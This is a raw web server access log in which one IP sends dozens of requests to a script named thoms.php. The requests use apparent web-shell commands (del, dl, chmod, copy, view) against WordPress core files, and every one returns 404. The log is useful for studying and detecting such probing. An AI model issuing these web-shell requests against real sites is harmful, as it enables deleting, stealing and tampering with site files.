45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?del=sitemaps.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?del=style-engine&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=style-engine&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?dl=class-snoopy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?dl=class-walker-page.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?del=link-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?chmod=locale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?chmod=utf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdefault-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdefault-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:20 -0400] "GET /thoms.php?chmod=style-engine.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Foption.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Foption.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?chmod=script-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?chmod=fonts&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?dl=error-protection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?del=icons.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=icons.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?chmod=update.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:21 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?chmod=fonts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?del=class-snoopy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?del=https-migration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?del=registration-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:22 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?chmod=php-compat&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?del=functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?chmod=certificates&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?chmod=revision.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?chmod=atomlib.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?del=ms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:23 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?chmod=interactivity-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:24 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
